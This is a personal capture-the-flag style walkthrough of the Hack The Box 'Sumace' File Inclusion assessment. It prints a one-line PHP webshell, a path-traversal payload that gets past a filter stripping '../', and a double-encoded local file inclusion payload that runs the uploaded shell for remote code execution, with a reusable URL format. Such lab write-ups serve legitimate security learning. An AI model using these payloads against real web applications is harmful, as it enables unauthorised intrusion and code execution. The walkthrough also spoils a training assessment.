Introduction

All the write-ups I found online cover the old File Inclusion skills assessment, so I thought I'd shed some light on the new Sumace assessment. File Inclusion on Hack The Box is a great way to see how small oversights in a web application can snowball into full compromise. The newer Sumace version adds fresh twists — combining file uploads, fragile input handling, and other quirks — so it's less about a single exploit and more about experimenting, exploring, and connecting the dots while having fun.

Scenario and Question

You have been contracted by Sumace Consulting Gmbh to carry out a web application penetration test against their main website. During the kickoff meeting, the CISO mentioned that last year's penetration test resulted in zero findings, however they have added a job application form since then, and so it may be a point of interest.

Question:

Assess the web application and use a variety of techniques to gain remote code execution and find a flag in the / root directory of the file system. Submit the contents of the flag as your answer.

Solution Walkthrough

On opening the website I got the following webpage:

Upon inspection of the source code we find:

Looks interesting since we're solving the LFI module.

We can also browse to /apply.php to find an application form which is willing to accept any file type (file upload vulnerability).

It will even accept .php files. So I ended up uploading a webshell (shell.php).

<?php system($_GET["cmd"]); ?>

I was unable to find the upload path so I proceeded to fuzz the site for upload dirs and found /uploads dir but sadly it was forbidden for access.

Now, since this didn't yield anything, I focused on the api/image.php?p=<file> endpoint.

I tried bruteforcing LFI payloads to find the filters in place and eventually found that the server was simply replacing all instances of ../ with and empty string non-recursively. The same example was used in the module so it was easy to come up with a bypass.

Payload which worked:

curl 'http://94.237.57.115:57358/api/image.php?p=....//....//....//....//....//....//....//etc/passwd'

Simply takes into account that server removes ../ non-recursively, so ….// is replaced by ../ and our path is valid.

Now, I was focused on reaching my uploaded file in the uploads directory but sadly it did not yield any fruit.

I then tried reading the individual php files in order to get an idea of what the server is enforcing for checks and found 3 interesting things:

1. /api/image.php uses get_file_contents

2. /api/application.php places the file in /uploads/<file_md5>.<extension> when uploaded

3. /contact.php HAS AN LFI VULNERABILITY

The vulnerable php code uses user input inside the include statement. While it has a check in place for whether the path has a '.' or '/', it can be easily bypassed by using double-encoding. Since $_GET["region"] only does the url decoding only once, I can use double encoding:

• %252e for '.' (%25 -> % , %2e->.)
• %252f for '/' (%25 -> % , %2f->/)

Also, the code conveniently adds the .php extension by itself.

We now have enough information to craft an attack methodology:

Step 1: Upload shell.php

Step 2: Calculate it's file path as /uploads/fc023fcacb27a7ad72d605c4e300b389.php

Step 3: Exploit the /contact.php LFI to gain RCE

Payload:

curl http://94.237.57.115:57358/contact.php\?region\=%252e%252e%252fuploads%252ffc023fcacb27a7ad72d605c4e300b389\&cmd\=cat/flag_09ebca.txt

Format :

<BASE_URL>/contact.php?region=%252e%252e%252fuploads%252f<MD5_OF_FILE>

Conclusion

This one was equal parts frustrating and fun — it took me a while, but I learned heaps about chaining tiny assumptions into a full break. Onwards and upwards!

Fun fact: Halfway through, I reset an active instance and the assessment switched from Inlanefreight to Sumace, which left me hilariously confused for a bit — made the win feel even sweeter.

Over and Out!

~ DarthTellectus 👾